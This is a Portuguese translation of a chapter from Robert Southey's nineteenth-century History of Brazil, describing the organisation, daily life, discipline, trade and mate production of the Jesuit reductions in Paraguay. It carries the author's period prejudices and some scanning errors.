As reduções Jesuíticas – História do Brasil de Robert Southey

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Robert Southey – Projeto Gutemberg

Robert Southey (Bristol, Inglaterra, 12 de agosto de 1774 – 21 de março de 1843) – História do Brasil

CAPÍTULO I

SISTEMA DOS JESUÍTAS NO PARAGUAI — ESTADO DAS REDUÇÕES — TRABALHOS DOS MISSIONÁRIOS — ESTADO DAS TRIBOS ENTRE AS QUAIS TRABALHAVAM

 

1642 – fins dos jesuítas

Amadurecera agora completamente o sistema dos jesuítas, que tem sido objeto tanto de panegíricos como de calúnias. Difícil não será separar da verdade a falsidade, representando esta extraordinária república, sem que por um lado nos induza em erro a superstição nem pelo outro nos desvairem ódios faciosos e interessados.

Com a experiência de seus irmãos no Brasil aproveitaram os criadores desta república: sabiam o que haviam feito Nóbrega c os seus sucessores, e quão tristemente se perdera o fruto de seus trabalhos, pelo que representaram à corte de Madri que baldado seria seguir no Paraguai a mesma carreira. Ainda quando a tirania dos europeus não consumisse os que pudesse escravizar e afugentasse para os matagais os outros, bastaria o exemplo de seus hábitos de vida para contrabalançar todas as lições de religião e moralidade que os mais zelosos mestres pudessem dar aos índios. Aqui havia inumeráveis tribos entregues aos vícios, inclinadas às superstições, e sujeitas às acumuladas misérias da vida selvagem; sofrendo injustiças dos espanhóis e buscando em retribuição a vingança; não reconhecendo rei nem Deus, adorando o diabo neste mundo e votadas a êle eternamente no outro. Estes povos empreenderam os jesuítas reduzi-los sem outra arma além de Evangelho, contanto que os deixassem seguir seus planos sem ingerência de Outro qualquer poder, e contanto que os espanhóis, sobre cujo comportamento nenhuma alçada podiam ter, se proibisse meterem-se entre eles. A estas condições anuiu o governo espanhol, cujo interesse real pela salvação dos índios do seu vasto império, posto que errôneo na direção que tomava, cumpre recordar não menos que as atrocidades da primeira conquista, e assim puderam os jesuítas fundar estabelecimentos segundo suas próprias idéias duma república perfeita, e moldar o espírito até formar uma comunidade de homens segundo o seu próprio coração. Horrorizando-os igualmente o estado de selvagem e os vícios de que por toda a parte viam infeccionada a vida civilizada, procuraram arrancar a uns os índios e preservá-los juntamente dos outros, trazendo-os a essa situação média em que poderiam gozar do maior quinhão de comodidades pessoais^ ficando expostos ao menor número de perigos espirituais. Neste intuito, como se entendessem no sentido literal as p*alavras de Cristo, buscavam conservar os seus conversos sempre como crianças e em estado de pupilos. Não queriam adiantá-los na civilização, mas amansá-los, tornando-o o mais dóceis que fosse possível. Assim se envolviam em contínuas contradições, de que os seus inimigos se não descuidavam de tirar vantagem; porquanto por lado argumentavam com irresistível verdade contra os traficantes de escravos que os índios deviam olhar-se como entes humanos, racionais e imortais e por outro justificavam-se de tratá-los como criaturas incapazes de a si mesmo se governarem, procurando estabelecer que embora fossem eles entes humanos, dotados de razão e discernimento, e almas que podiam salvar-se ou perder-se, eram contudo de espécie inferior. Não aventuravam assim abertamente uma proposição que bem poderia ser taxada de herética, mas do seu proceder e dos seus argumentos era esta a conclusão necessária.

Procuram fundar uma perfeita república cristã

Sobre estas idéias formaram uma utopia própria. O primeiro cuidado era desviar da sua grei todas as tentações não inerentes à natureza humana, e estabelecendo quanto se podia uma comunhão de bens, excluíam grande parte dos vícios e misérias que azedam a vida civilizada. Neste ponto tinham êles por si a autoridade dos sábios e dos legisladores, e se à mitologia do papismo pudessem achar nas Escrituras santas tão bom fundamento como a esta parte das suas instituições, não fora a Bíblia livro proibido onde quer que prevaleceu a influência jesuítica.’-

Nenhuma dificuldade havia em principiar por este sistema num país vasto e raro-povoado; homens acostumados à ilimitada liberdade da vida selvagem maís prontamente perceberiam a¡5 obvias vantagens déle, do que as complicadas relações da propriedade e os benefícios dessa desigualdade social, cujos males são tão manifestos como numerosos. A cada chefe de familia se assinava um lote de terras suficiente para seu uso, nas quais cultivava milho, mandubí, uma espécie de batata, algodão e o mais que lhe convinha. Deste prazo, que se chamava Abomba, ou propriedade particular, era êle senhor, enquanto podia cultivá-lo, mas logo que de velho se tornava incapaz de trabalhar, ou em caso de morte, passava o terreno para outro ocupante-2 Bois para a lavra eram emprestados dos bens comuns. Dois lotes maiores, chamados Tupamba, ou possessão de Deus, eram cultivados para a comunidade, plantando-se numa porção cereais e legumes e em outra algodão. Aqui contribuíam os moradores todos com seu quinhão de trabalho em épocas fixas, depositan-do-se os produtos no celeiro comum para alimentar e vestir os inválidos e doentes, as viúvas, os órfãos e as crianças de ambos os sexos. O que deste depósito era mister para a igreja ou para o serviço público, saía comprado, fornecendo-se sementes aos índios, quando eles, como repetidas vezes sucedia, não tinham tido a previdência de guardá-las da última colheita, mas da seguinte haviam de pagar a mesma medida que tivessem recebido. Também deste depósito se tirava o tributo público, que só começou no ano de 1649 quando Felipe IV, honrando-Os ao mesmo tempo com o título de seus mui leais vassalos, e con-firmando-lhes a isenção de todos os mais serviços, lançou uma finta anual de um peso e oito reales sobre todos os varões de 22 a 50 anos de idade, sendo de cinco pesos a de todos os demais índios mansos. Havia além disto uma contribuição de cem pesos como comutação dos dízimos; mas deste dinheiro pouco entrava no tesouro real, porquanto abonando os reis da Espanha um ordenado de seiscentos pesos aos dois missionários, e fornecendo vinho para as missas e azeite para as lâmpadas, que ardiam dia e noite diante do altar-mor (artigos ambos extremamente caros, vindo o segundo da Europa e o primeiro ou dali também ou do Chile), tornava-se mui insignificante o saldo de qualquer dos lados, quando no fim do ano se ajustavam contas.

 

Tributo público

Muratori 137-53. Peramas, De Administratione Guaranica, § 45-50 Charlevoix, 224

Governo 1642

Na aparência era o regime municipal de cada redução o mesmo que o de todas as vilas espanholas. Havia um corregedor3, dois alcaides, um alcaide da irmandade, cuja jurisdição se referia aos negócios rurais, quatro regedores4, um alguazil-mor5, um procurador e um secretário.6 Eram estes funcionários anualmente eleitos pela comunidade, mas se o reitor não aprovava a escolha, recomendava outras pessoas, de modo que estava nele de fato o poder de nomear. Depois eram confirmados pele governador, confirmação que, como a eleição, não passava de mera formalidade. Os funcionários em si eram de uso essencial, mas pouco mais que nominal a sua autoridade, sendo o Hierocracia sistema de governo uma hierocracia absoluta. Havia em cada redução dois jesuítas, um cura ou reitor, que pelo conhecimento que tinha do caráter dos índios, sua experimentada habilidade, e pelo versado que era no idioma, estava perfeitamente qualificado para governá-los; e um padre mais moço, ou recentemente chegado da Europa, ou desde pouco saído dos estudos de Córdova, que servia de coadjutor do cura enquanto aprendia a língua, e se habilitava para os trabalhos duma missão, e para servir a companhia em mais elevado posto. Um destes devia achar-se sempre na redução enquanto o outro andava visitando os doentes pelo território anexo e atendendo aos que em distância se entregavam a alguma ocupação. Não fazia o superior da missão senão visitar as reduções pertencentes à sua jurisdição, e também o provincial as inspecionava de tempos a tempos. Havia em cada uma duas confrarias, uma de S. Miguel Arcanjo, a que admitiam homens de doze a trinta anos, e outra da Mãe de Deus, para a qual só entravam pessoas da maior piedade, que se votavam ao serviço da Rainha dos anjos, lavran-do-se da profissão um documento assinado pelo novo irmão e referendado pelo reitor, diploma que era tido em tanta veneração, que no saco das suas relíquias o guardava o índio. Havia t imbém certos índios nomeados para velarem pela saúde pública, e tratar dos doentes, mas sempre debaixo da direção do jesuíta. Parece que eram educados para esse ofício, pois que nunca o missionário visitava um doente que o não acompanhassem pelo menos dois rapazes. Os deveres destes homens consistiam em percorrer todas as manhãs a redução, cada um den-tro do seu distrito, e ver se alguma moléstia se manifestara, bem como haviam duas vezes ao dia de dar ao reitor conta do estado dos doentes, para que sempre se pudesse administrar com tempo o sacramento. Comparavam-se estes funcionários com os paraboldni da Igreja primitiva, em imitação dos quais foram por ventura instituídos. A insígnia do seu ofício era uma vara comprida com uma cruz no topo, donde tiravam o nome de curuzuiu, cruciferários. Cultivavam os missionários todas as ervas medicinais cujas propriedades conheciam, e não só as indígenas, mas também dentre as européias todas as que podiam suportar o climaJ

Cemitérios

Como no sistema dos jesuítas nada resultava de circunstâncias fortuitas, tinha tudo sido antecipadamente concebido e regulado, também os aldeamentos eram edificados todos peb mesmo risco. Tomavam as casas três lados dum quadrado grande. Ao princípio não passavam de ranchos de estacas fincadas no chão e entretecidas com canas seguras por vimes, coberto depois tudo com uma massa de lama, palha e fezes de boi. Com tabuinhas duma árvore chamada caranday se faziam os melhores telhados, e de barro e sangue de bezerro se preparava uma argamassa à prova de água. Ao passo que mais permanentes se iam tornando as reduções, melhoravam o sistema de edificação, construindo-se mais sólidas as casas cobertas de tijolo. Contudo pessoas acostumadas aos cômodos da vida haviam de tê-las por miseráveis habitações, compostas como eram dum único quarto de cerca de vinte e quatro pés quadrados, servindo a porta tanto para deixar entrar a luz como para dar saída ao fumo.8 Amplos pórticos formando passeios cobertos, defendiam do sol e da chuva as casas. Edificavam-se estas em linhas de seis ou sete cada uma, a distâncias regulares, duas de cada um dos três lados da praça, e tantas linhas paralelas quantas a população do lugar tornava necessárias. A maior das reduções guaranis contava oito mil moradores, e mil duzentos e cinqüenta a menor, sendo de cerca de três mil o meio termo. Do quarto lado da praça ficava a igreja, com a casa dos jesuítas à direita; e as oficinas públicas, fechada cada uma dentro do seu quadrado, e à esquerda um cemitério murado. Por detrás desta linha via-se um vasto quintal, e à esquerda do cemitério, porém separada dele, a casa das viúvas edificada em quadrilátero. Amigos e inimigos dos jesuítas concordam em descrever-lhes as igrejas como as mais esplêndidas naquela parte do mundo. A altura mal correspondia ao tamanho, sendo cada pilar feito duma única peça de madeira, o tronco duma árvore, mas sendo dum só andar as casas, erguia-se majestoso o templo acima do resto da aldeia. Costumava êle ser de três naves, mas também os havia de cinco, tendo todos numerosas janelas, que eram de absoluta necessidade, porquanto posto que estivesse a igreja sempre ornada de flores, e borrifada de água de rosas e flor de laranjeira nos dias de festa, nem estes perfumes nem o incenso podiam vencer o fétido duma congregação imunda.9 O vidro mal foi conhecido no Paraguai antes de meados do século décimo oitavo, e em seu lugar servia o papel, o linho ou o talco de Tucuman, mas por ser caro era este raro. Quando se principiou a introduzir o vidro, foi geralmente empregado nas reduções para as igrejas e casas dos jesuítas, mas as janelas viradas ao sul eram de alabastro, trazido do Peru a grande custo, e apesar de não transparente um pouco acessível à claridade. Aos tremendos furacões do sul não haveria vidro que resistisse. Ovos de ema!0 ou avestruz americana, serviam às vezes de pias de água benta, ou colocavam-se em cima do altar para adorno. Os altares, de ordinário cinco em número, assinalavam-se pelo tamanho e esplendor, sendo a única ambição dos índios competir uns com outros em ornar suas igrejas, que por conseguinte brilhavam pela riqueza de pinturas, esculturas, dourados e imagens. O papa Gregório, o grande, chamava estes ídolos os livros dos pobres, e o clero católico logrou substituí-los à Bíblia. Gabavam-se os jesuítas do esplendor dos seus paramentos e da riqueza da sua baixela de igreja. A cada canto da praça se erguia uma cruz, e no meio uma coluna sotoposta a uma imagem da Virgem, a magna mater desta idolatria.11

 

 

Funerais

Casamentos

Havia no meio do cemitério uma capelinha com sua cruz por cima da entrada. A área dividia-se em quatro partes, para adultos e crianças de ambos os sexos, separados estes tanto na vida como na morte. Um sentimento mais natural teria posto lado a lado os membros da mesma família; exceto neste ponto, era o cemitério o que deve ser um prado de repouso cristão, jardim sagrado da morte. Subdividiam-se os quarteirões em canteiros de dez a doze túmulos cada um, orlados dos mais belos arbustos e flores, que as mulheres, que ali iam orar pelos seus finados, conservavam limpos de todas as ervas. Os passeios mais largos estavam bordados alternamamente com palmeiras e laranjeiras. Um claustro cercava o todo para abrigo dos que concorriam a um funeral, quando abrigo era preciso. Não consta que os mortos fossem metidos em caixões. Envolvia-se o cadáver numa mortalha de algodão, vestidas e adornadas as crianças para o funeral à moda católica, e acompanhadas ao túmulo com demonstrações de alegria, repicando os sinos como para uma festa, por acreditar-se que não tinham elas de passar pelo purgatório, entrando imediatamente no gozo da bem-aventurança. Ao dar-se o corpo à terra erguiam as mulheres um alarido, que’ chamado guaiu, era provavelmente um dos costumes selvagens cuja continuação se tolerava; nos intervalos deste berreiro, carpiam elas os mortos, recitando-lhes os louvores, e proclamando as honras que haviam merecido, ou que lhes estavam reservadas se a morte lhes não atalhasse a carreira. As pessoas que particularmente se haviam assina lado pelos seus serviços públicos, enterravam-se na igreja, e esta pregavam-na os índios sobre todas as honras. Edificadas e reparadas pela comunidade, eram as casas assinadas pelos magistrados conforme as instruções do reitor, re-c’-bcndo cada casal a sua por ocasião do matrimônio. Por mais alto que presem os católicos romanos o estado celibatário, não se julgava prudente recomendá-lo aqui, antes os jesuítas, incli-nando-se ao extremo oposto, queriam que os varões casassem aos dezessete anos e as raparigas aos quinze. Pareciam-lhes melhores estes prematuros enlaces do que o perigo da incontinência, e de fato eram eles aqui menos prejudiciais do que em qualquer outro estado de sociedade, pois que debaixo da tutela em que era tido, achava-se o índio pouco mais adiantado em inteligência aos setenta do que aos dezessete, e a respeito da futura subsistência não havia nem cuidados nem ansiedade; nada de lutas entre a paixão e a prudência. Uma rede, alguns vasos poucos (os maiores de barro, os mais pequenos de cabaças), uma caixa ou duas, e uns poucos de bancos ou cadeiras, compunham todas as alfaias duma família e eram todos os seus bens temporais. Costumavam-se casar ao mesmo tempo diferentes pares e geralmente em dias de festa, desejando os jesuítas dar à cerimônia o maior esplendor possível para impressionar a parte não convertida dos espectadores. É costume na Igreja romana dar o sacerdote umas poucas moedas de prata ao noivo, que as passa à desposada em sinal de dote, mas nas reduções eram o dinheiro e o anel de casamento também propriedade da igreja, servindo só para estas ocasiões, pela escassez que havia de metais. Para as bodas fornecia-se do depósito público mais alguma coisa. 12

Disciplina

Educação das crianças

No correr de toda a sua vida do berço à cova jamais sabia o índio o que era pensar no dia de amanhã: na obediência se cifravam todos os deveres. Não tarda a mais restrita disciplina a tornar-se tolerável, contanto que seja certa e imutável, e a dos jesuítas estendia-se a tudo, sem ser nem caprichosa nem opressora. Olhavam-se as crianças como pertencentes à comunidade; viviam com os pais para que não se cortasse o fio das afeições naturais, mas a sua educação era um encargo público. De manhã cedo as chamava o sino à igreja, onde depois de terem orado e dado o catecismo, ouviam missa: depois almoçavam os rapazes em casa do reitor à custa do celeiro público, sendo em seguida entregues a um mais velho, que aos outros servia de superintendente e censor de suas ocupações diárias. Desde a mais tenra idade se separavam os sexos, nem sequer entrando na igreja pela mesma porta. Jamais mulher ou rapariga punha os pés na casa dos jesuítas. A tarefa das raparigas era apanhar algodão e dos campos enxotar os pássaros. Em arrancar ervas, conservar em bom estado os caminhos e outros serviços proporcionados às suas forças, se ocupavam os rapazes. Saíam para o trabalho com tangeres de flautas e em procissão, levando uma imagenzinha de S. Isidro, padroeiro de Madri, santo de muita devoção no século décimo sétimo. Colocava-se o ídolo numa posição conspícua enquanto trabalhavam os rapazes, e concluída a tarefa da manhã era reconduzido com a mesma cerimônia. Depois de meio dia eram as crianças outra vez chamadas à igreja, onde rezavam o rosário, e jantando da mesma forma que haviam almoçado, voltavam para suas casas a ajudar as mães ou brincar o resto do dia.

Coristas

Divertimentos

Ocupações das mulheres

Os rapazes, que pelo modo como repetiam as orações da manhã e da tarde, prometiam uma boa vozi3, aprendiam a ler e escreveria, tocar e cantar, e deles se faziam coristas, dos quais costumava haver uns trinta em cada redução, sendo esta uma honra que os pais muito ambicionavam para seus filhos. Além destes coristas só aprendiam a ler e escrever os rapazes destinados para futuros funcionários públicos, serventes da igreja, ou praticantes de medicina, sendo de preferência escolhidos dentre as famílias dos caciques 15 e principais do aldeamento, que no meio desta perfeita igualdade de bens, eram desiguais as categorias das pessoas. O cacique conservava o seu título, e uma tal ou qual aparência de distinção, sobre ser isento de tributo. Uma das arguições contra os jesuítas era manterem eles deliberadamente os seus índios na ignorância da língua espanhola. Como tantas outras contra eles, era esta acusação tão absurda como infundada. Em todos os estabelecimentos espanhóis do Paraguai é o guarani a língua v que as crianças aprendem de suas mães e amas, e a de que quase exclusivamente se usa, em conseqüência de grande mescla de sangue indígena, e do número de índios escravos ou criados. Na mesma cidade da Assunção se entendiam melhor os sermões em guarani do que em espanhol, havendo muitas mulheres de nome e origem castelhanos que não compreendiam o idioma de seus pais. Num país, onde todos os espanhóis falavam guarani, não era com não deixar os índios aprender o espanhol que se havia de promover a imputada política de conservá-los povo distinto. Era absolutamente desnecessário lhante do que as mais ricas produções do reino vegetal. Ao lado do caminho se amarravam bestas feras, e de espaço a espaço se dispunham vasos com água, em que nadavam os melhores peixes, para que todas as criaturas por meio de seus representantes rendessem homenagem ao Criador presente! A caça morta para a festa fazia parte do espetáculo. Apresentava-se para ser benzida a semente reservada para a próxima semeadura, e como oferenda as primícias da última colheita. Na frente, debaixo duma pálio levado pelo cacique e principais magistrados da aldeia, ia essa massa de farinha e água, objeto da idolatria romana, seguindo-se os habitantes varões em trajos militares cavalaria e infantaria com seus pendões e bandeiras. No topo de cada rua havia um altar, diante do qual parava o sacramento enquanto se cantava um tnoteto, ou antífona, fazendo o roncar das feras estranha harmonia com estas estrofes e com o canto chão dos coristas. Partes dos manjares expostos mandava-se aos doentes; com o resto jantavam os homens em público, enviando-se às mulheres o seu quinhão a casa. Depois dum sermão um dos principais repetia aos homens na praça ou no pátio diante da casa dos jesuítas, um sumário do discurso20, enquanto um velho fazia o mesmo para edificação das mulheres. E tão mestres fazia a prática estes recapituladores que o Sumário era muitas vezes uma repetição verbal.

 

 

Nos dias de festa divertiam-se os homens depois dos ofícios da tarde, com batalhas simuladas, a atirar ao alvo cOm setas, ou jogar com uma bola de goma elástica, que impeliam com o peito do pé. Nos dias de serviço, se dos trabalhos públicos ou particulares lhes sobrava tempo, iam caçar. Alguns empregavam-se em guardar o gado e pensar os cavalos da comunidade. Não faltava que fazer às mulheres: tinham de prover de água e lenha a casa, e ajudar os maridos no amanho do terreno particular. Também eram oleiras e cada mãe de família recebia semanalmente uma porção de algodão em rama para fiar.21 Tanto nas artes úteis como nas de adorno se haviam feito consideráveis progressos. Além de carpinteiros, pedreiros e ferreiros havia torneiros escultores, pintores e douradores. Fundiam-se sinos e fabricavam-se órgãos. Nestas artes serviam de mestres os irmãos leigos, entre Os quais se encontravam artistas de todo o gênero. O metal vinha de Buenos Aires por preços enormes, tendo ali sido importado da Europa. Da mecânica sabiam os índios quanto bastava para construir moinhos tocados por cavalos, e da hidráulica o preciso para elevar a água para irrigação dos campos, abastecimento dos poços e cisternas públicas para lavanderia. Por mais delicado que fosse o mecanismo, sabia um Guarani imitar o que lhe punham diante dos olhos. Havia em cada redução diferentes tecelões, que trabalhavam para o acervo público, empregando-se um certo número deles também no serviço dos particulares. Lavavam as mulheres o seu algodão fiado e recebiam em troca igual peso de pano depois de passado pelo tear, sendo os tecelões pagos pelo tesouro. Era este algodão produto da cultura particular, e desta forma se oferecia algum incentivo à vaidade e aos esforços voluntários, porquanto, fornecendo-se a todos anualmente uma certa porção de roupa, era mero luxo a que cada um para si arranjava. No estado selvagem andavam algumas destas tribos inteiramente nuas, e as outras quase, mas o amor dos vestidos’ tornou-se entre elas paixão universal, mas adquiriram os primeiros rudimentos da civilização. «Dai-lhes alguma coisa bonita, diz Dobrizhoffer, e. . . in coelum jusseris, ibunt.» Era pois este um dos meios pelos quais os jesuítas seduziam os índios para o céu.

Meio espanhol e meio indiano era o trajar dos homens, composto de camisa, gibão, calças e o poncho, entre eles chamado aobaci, espécie de capa que os espanhóis nestes países adotaram geralmente das tribos do sul. De tôdas as modas de vestir é a mais rude, mas está longe de ser a menos cômoda22; consiste num pedaço de pano comprido com uma abertura no meio por onde passa a cabeça; caem então as duas metades uma para diante, outra para trás, com conveniente altura, e apanhados os lados, ficam os braços desimpedidos. Nas reduções faziam-se de algodão estes ponchos, trazendo-os o povo duma só côr, mas os dos funcionários eram tecidos de listas azuis e vermelhas. Quando apareciam na igreja ou em outras ocasiões públicas, vinham as mulheres cobertas da cabeça até aos pés com uma capa de algodão, que só o rosto e a garganta lhes deixava visíveis. A vestidura doméstica e ordinária era mais leve e apropriada ao serviço.23 O cabelo apanhava-Se numa rede à moda das espanholas e portuguesas, mas quando a dona saía, levava-o solto. Cabeça, pés e pernas andavam descobertas, confessando Peramas que uma alteração nesta última parte teria sido mui conveniente, para as guardar das cobras. Usavam-se brincos de bronze nas orelhas, e também colares e pulseiras de contas de côr se traziam, sendo estas coisas de uso tão universal entre as mulheres em todas as gradações da sociedade, desde o ponto ínfimo até ao grau mais elevado de civilização, até hoje atingido, que o amor das fran-dulagens parece inato no sexo frágil. Nos dias de gala vestiam-se os magistrados inteiramente à espanhola, como chapéu, sapatos e meias; mas este luxo não lhes pertencia de propriedade, fornecia-se-lhes ouvidos os contendores, pronunciava final sentença. Os acólitos do celebrante também traziam sapatos e meias enquanto durava o ofício divino, mas concluído este andavam descalços como o resto dos seus conterrâneos.

Administração da justiça

Administração

Todas as manhãs depois da missa ia o corregedor expor ao da justiça reitor os trabalhos públicos que havia a fazer naquele dia, informando-o conjuntamente do que desde a véspera tinha ocorrido repreensível. Numa comunidade como esta pouca matéria de litígio podia haver: se alguma disputa se suscitava que os amigos das partes não podiam acomodar, era levada perante o reitor, que ouvidos os comedores, pronunciava final sentença. Os castigos em matéria criminal eram açoites e prisão24, sendo o preso todos Os dias conduzido em ferros à missa. Se crime era tal que em outra parte seria punido de morte, ficava o delinqüente retido um ano em estreito cárcere, parcamente sustentado, e freqüentemente açoutado, sendo no fim do ano banido da redução e expulso para o lado das povoações espanholas. Sem a aprovação do reitor não podiam os magistrados impor nenhum destes castigos, mas casos tais raras vezes se davam, porquanto sendo o fim dos jesuítas reter o seu povo em estado de perpétua tutela, eram os índios vigiados com o mesmo cuidado que crianças debaixo da mais estreita disciplina colegial. Todo o mundo devia recolher-se a sua casa a certa hora da noite, passada a qual principiavam logo patrulhas a sua ronda, tanto para acautelar qualquer surpresa da parte dos selvagens (perigo sempre possível), como ver se alguém saía sem motivo justificado. As patrulhas escolhiam-se com tanto cuidado entre os indivíduos mais dóceis, como se se destinassem ao serviço da igreja. Também havia inspetores que de dia andavam de lugar em lugar, vendo que ninguém estivesse ocioso, nem se deixasse sem guarda ou se maltratasse o gado confiado a diferentes pessoas para uso público ou privado. Do homem se pode fazer o mais manso bem como o mais feroz dos animais. Principiando junto ao berço e terminando só ao pé do campo, assegurava a disciplina dos jesuítas essa obediência implícita, que sendo o primeiro dever do monarquismo, era o fito principal da legislação deles. 2 5 Além dos inspetores que vigiavam o trabalho dos índios, havia outros sobre o comportamento moral dos mesmos, e quando estes descobriam algum pecado, lançavam ao delinqüente o hábito dos penitentes, levando-o primeiramente à igreja, onde fizesse a sua confissão pública, e depois à praça, onde era também publicamente açoitado. Assevera-se que estes castigos eram sempre recebidos sem murmurar e até como um ato de misericórdia, tão perfeitamente estavam os índios ensinados a beijar a mão que os punia e sustentava. As crianças distribuíam-se por classes conforme as idades, tendo cada classe seus inspetores que vigiavam o comportamento. Na igreja punham-se sempre por trás da mocidade alguns destes censores que com o auxílio duma varinha faziam guardar o mais profundo silêncio e o mais rigoroso decoro. Conseguiu estes sistema quebrar completamente os espíritos. Adultos, que tinham logrado iludir a constante superintendência dos seus inspetores, vinham voluntariamente acusar-Se e pedir o castigo merecido, mas por uma sábia precaução lhes não era permitido fazer isto publicamente sem impetrarem prévia licença, que raras vezes se concedia ao sexo frágil. Produzindo o mesmo sistema que lhes entorpecia o entendimento, uma irritação mórbida da consciência, se consciência, pode chamar-se a que ocupada de meras frivolidades, descansava inteiramente nas decisões do padre, vinham os índios a cada passo perguntar se isto ou aquilo era pecado. Em conseqüência da sua absoluta ignorância da verdadeira moralidade, e destes extremos escrúpulos, levava uma das suas confissões tanto tempo como as de dez ou doze espanhóis. Condescendendo com a fraqueza desta gente, concedia-lhe o papa um jubileu por ano e por estas ocasiões ajudavam-se mutuamente os missionários das reduções mais próximas. Gabavam-Se os jesuítas de que se passavam às vezes sem que se cometesse um só pecado-mortal, e poucos vícios na verdade podiam existir em sociedades assim constituídas. Excluídas inteiramente a avareza e a ambição, estreito campo restava também à inveja, e pouco que pudesse excitar o ódio ou a malícia. A embriaguez, o pecado mais vulgar entre os homens selvagens, ou semi-civilizados, p.chava-se eficazmente prevenida com a proibição de toda a bebida fermentada, e contra a incontinência tomavam-se todas as precauções que podia ditar o espírito monarcal. Já se viu como desde a mais tenra idade se separava os sexos, casando-se todos os adultos apenas o permitia a ordem da natureza; e com receio de que as guardas noturnas e a vigilância diurna dos inspetores não pudessem evitar tudo, encerravam-se num edifício separado, contíguo ao comitério, as viúvas e as casadas cujos maridos andavam trabalhando fora, exceto as que tinham crianças de peito. Em apoio deste sistema preventivo vinha ainda a idolatria católica: ninguém que no mínimo grau tivesse infringido as leis da modéstia, podia ser digno de contar-se entre os servos da rainha das Virgens.

Relações com os espanhóis

O preceito que desta república excluía os espanhóis, excitava tanta suspeita e inimizade, que não foi possível mantê-lo muito tempo com todo o rigor que queriam os jesuítas. Em tempos posteriores permitiu-se pois o ingresso nas seis reduções ao norte do Paraná, entrando também os habitantes de Corrientes na da Candelária, que fica do lado sul. Mas nos Outros aldeamentos entre o Paraná e o Uruguai, bem como em todos os que ficavam além deste último rio, manteve-se à risca o previlégio, sob pretesto de poderem eles por água receber de Buenos Aires quanto careciam, mas aberta uma vez a porta, se acolheriam a estes estabelecimentos os escravos e mulatos fugidos. Onde se permitiam relações, eram exclusivamente comerciais, ficando a hospedaria dos estranhos inteiramente separada das habitações dos índios, e despedindo-se aqueles mal se efetuava a troca das mercadorias. Dinheiro mal se conhecia no Paraguai, e sendo a capital a parte mais sertaneja da prtovíncia, ainda menos do que em outro lugar estava êle em uso. Todos os empregados públicos na Assunção eram pagos em gêneros, tudo tinha o seu valor fixo no escambo, e quem queria comprar um artigo dava outro em troca. Entre as reduções não havia meio circulante de qualidade alguma. Tinham elas em Santa Fé e Buenos Aires feitores que lhes recebiam os gêneros, e pago pelo produto o tributo, remetiam o resto em frandulagens, tintas, azeite e sal, tudo artigos que o país não produzia, vestes de linho e seda, fio de ouro para alfaias de igreja, cera européia para tochas, e vinho para as missas. Exportava-Se algodão e tabaco; rosários e santinhos, mui procurados no Paraguai, Tucuman e Buenos Aires distribuíam-se gratuitamente como incentivos da religião, e meios de conciliar as boas graças, dando-se com especialidade aos espanhóis que residiam longe das povoações, e que se mostravam mui gratos por estas bugiarias, em que tinham quase tanta fé como um negro nos seus feitiços.

Mate ou erva do Paraguai

O principal artigo de exportação das reduções era porém o mate ou erva do Paraguai, que por toda esta parte da América espanhola está tão universalmente em uso como o chá na Inglaterra. O nome de erva dá da planta uma idéia errônea porquanto prepara-se o mate duma árvore, que os Guaranis chamam Caa, e que na sua forma e folhagem se assemelha à laranjeira, exceto em ser mais macia a folha, e muito maior a árvore. Dá em pencas pequenas uma flor branca com cinco pétalas. A semente imita a pimenta americana na aparência, mas a casca encerra três ou quatro caroços oblongos de côr esbranquiçada. Preparam-se as folhas, dispondo os ramos ao pé dum fogo lento, até que elas principiam a estalar como as do loureiro. Torram-se depois suspensas por cima do lume, sendo finalmente batidas no chão com varas até ficarem reduzidos a pó, folhas e pau. Yerva de palosiG se chamava esta preparação, exprimindo o modo porque ela se fazia. Mais delicado processo empregavam os Guaranis das reduções: tiravam primeiramente os pés e fibras mais grossas, e torradas depois as folhas, pisavam-nas brandamente num almofariz de pau. Chamavam-se isto caa tniri, caa miúda ou fina, e valia o dobro de yerva de patos. É singular que os jesuítas, aperfeiçoando até este ponto o processo, o não melhorassem mais, deixando inteiramente de pisar as folhas que quanto menos quebradas, mais aromático o seu sabor e de mais longa duração. Tomava-se cuidado com não torrar demasiadamente as folhas, por terem uma gomosidade de que não convém privá-las. Os compradores apreciam esta qualidade, pondo na palma da mão um pouco de tal erva e expelindo-a com o sopro: se toda ela voa em pó seco, rejeitam-na, pois que quanto maior porção fica agarrada à mão, melhor a qualidade.

Modo de tomar o mate

A maneira de preparar e tomar a infusão é mui diferente do costume europeu de fazer chá. Em lugar de chávena, serve uma taça feita de ponta de boi, ou duma cabaça, e ornada de prata, se é abastado o dono. Dentro se lança obra duma colher de sopa cheia de erva, e deitando-lhe açúcar e um pouco de água fria deixa-se ficar por breve espaço; ajunta-se-lhe então água a ferver e enquanto está ainda com espuma, chupa-se por um tubo de prata, a que chamam bombinha, e que tem um ralo em forma de globo na extremidade que fica dentro da cuia. Também de paio santo (jacarandá, ou pau-santo) se fazem as taças por onde se toma o mate, atribuindo-se muitas virtudes aos copos, colheres e cachimbos feitos desta madeira. As classes pobres servem-se duma bombinha de pau ou de palha; os índios bebem o mate, asseverando-se que freqüentemente se lhes formam no estômago bolas desta erva como pedras bezoares. Nem eles nem as classes baixas usam de açúcar nesta bebida, contentando-se com a simples infusão. A gente abastada mistura-lhe às vezes um pouco de pó de folhas de guabiri mirfei’, ou de casca do seu fruto para lhe aumentar o sabor e pessoas biliosas ainda lhe ajuntam sumo de limão ou de laranja. Reputa-se insalubre a infusão, se fica muito tempo na cuia, caso em que só serve como ingrediente para fazer tinta de escrever. Toda a erva que pelo caminho se arruina com a umidade, vende-se para tinta preta; fácil se imbebe a côr, e a goma que contém a torna duradoura. Atribuem-se a este chá mui especiais virtudes. Entre outras coisas diz-se que tomado frio apazigua a fome e a sede. Cansados de remar todo o dia sentem os índios voltar-lhes imediatamente as forças com um copo de erva simplesmente misturada com água do rio. No Chile e no Peru está o povo convencido de que não poderia viver sem mate, e muita gente o toma a. toda a hora do dia, como os turcos o ópio.

